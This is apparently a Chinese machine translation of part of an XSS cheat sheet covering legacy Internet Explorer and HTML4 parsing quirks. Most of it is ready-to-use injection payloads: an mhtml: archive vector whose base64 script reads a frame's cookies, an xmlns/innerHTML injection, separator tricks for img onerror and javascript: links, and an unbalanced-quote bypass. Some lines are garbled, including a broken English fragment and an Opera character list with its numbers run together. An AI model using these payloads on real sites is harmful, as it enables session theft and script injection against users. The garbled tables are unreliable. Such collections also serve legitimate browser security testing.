XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量2
XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量2
通过MHTML方案执行JavaScript
这个例子使用了使用mhtml URI方案将任何conent类型的文件转换为web归档文件来运行JavaScript的能力。2006年,Stepanishchev E.首次发现了这个特性,并在web开发人员中作为IE6-7的数据URI的替代品而闻名。2007年,Hasegawa Y.独立提出了一种在XSS中使用这种mhtml特性的方法。后续修复不完整,因为它没有考虑使用“!价值”。下面的示例中使用了这种可能性以及从存档内容访问主机域的可能性。
使用此矢量,所有在源代码中不包含两行新行并允许用户插入新行的网站都易受攻击-以及所有允许用户上载图像而无需上载后转换等的网站。可以通过<IFRAME>或location.ref和comparable指定指向此web存档的链接。
这个例子发布于2010年6月,fix发布于2011年4月。mhtml URI方案现在不确定内容类型,但是存档内容仍然可以访问主机域。
<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe> <iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>
<html>
<body>
<b>some content without two new line \n\n</b>
Content-Type: multipart/related; boundary="******"<b>some content without two new line</b>
--******
Content-Location: xss.html
Content-Transfer-Encoding: base64
PGlmcmFtZSBuYW1lPWxvIHN0eWxlPWRpc3BsYXk6bm9uZT48L2lmcmFtZT4NCjxzY3JpcHQ+DQp1
cmw9bG9jYXRpb24uaHJlZjtkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnbG8nKVswXS5zcmM9
dXJsLnN1YnN0cmluZyg2LHVybC5pbmRleE9mKCcvJywxNSkpO3NldFRpbWVvdXQoImFsZXJ0KGZy
YW1lc1snbG8nXS5kb2N1bWVudC5jb29raWUpIiwyMDAwKTsNCjwvc2NyaXB0PiAgICAg
--******--
</body>
</html>
crossdomain: 1
path: http://html5sec.org/test.html
name: test.html
适用浏览器与版本
测试效果
暂无
复制innerHTML时在自定义标记中使用“xmlns”属性的XSS(2)
互联网浏览器不正确地分析了自定义标签中的“XMLNS”属性。XML:>namespace>without any delimiters.
<!-- IE 5-9 --> <div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML+='';</script> <!-- IE 10 in IE5-9 Standards mode --> <div id=d><x xmlns='"><iframe onload=alert(2)//'></div> <script>d.innerHTML+='';</script>
适用浏览器与版本
测试效果
暂无
HTML分隔符和忽略字符
[a] 作为标记名/属性分隔符接受的字符。
Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32、47
Internet Explorer(5-9 SM):11
[b] 在属性之前忽略的字符(不接受作为参数/属性分隔符)。
Firefox、Internet Explorer、Safari、Google Chrome、Opera:47
Internet Explorer(5-9 SM):0**
[c] 属性名和等号之间忽略的字符。
Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32
Internet Explorer(5-9 SM):0,11
[d] 作为参数/属性分隔符接受的字符。
Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32
Internet Explorer(5-9 SM):11
[e] 等号和参数之间忽略的字符。
Firefox、Internet Explorer、Safari、Google Chrome、Opera:9、10、12、13、32
Internet Explorer(5-9 SM):0,11
*字符以十进制ASCII表索引的形式给出。
*IE HTML解析器不存在未编码的空字符有一个共同的规则。
<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
适用浏览器与版本
测试效果
暂无
在URI方案中忽略的字符
以下字符*在URI sheme中被忽略:
[A]
所有提到的浏览器:9,10,13,32
IE,GC,Safari,Opera:11,12
IE、GC、Safari、FF 3.6.28≤:8
IE、GC、Safari:1-7、14-31
Opera:160576061588192-8202823282338239828712288
Opera11.52≤:6159
IE(5-9 SM):0
[B] ,[C]
IE, GC, Safari 4.0.3↓, FF 4-6, Opera 10.63↓: 9,10,13 GC 7↓, Safari 4.0.3↓: 1-8,11,12 IE (5-9 SM): 0 Safari 4.0.4↑, Opera 11↑, FF 7↑: nothing
*字符以十进制ASCII表索引的形式给出。
<a href="[a]java[b]script[c]:alert(1)">XXX</a>
适用浏览器与版本
测试效果
Internet Explorer中通过不平衡引号强制明文
如果属性分隔符不平衡,Internet Explorer会将任何标记视为纯文本—在本例中,这是由``引起的。在不平衡的引号出现在属性的内部或外部-前面是任意字符,但等号-在属性内部使用HTML是可能的,内容将呈现为常规HTML。已报告此问题,并将在稍后版本的Internet Explorer中解决。
<img src="x` `<script>alert(1)</script>"` `>
适用浏览器与版本
测试效果
暂无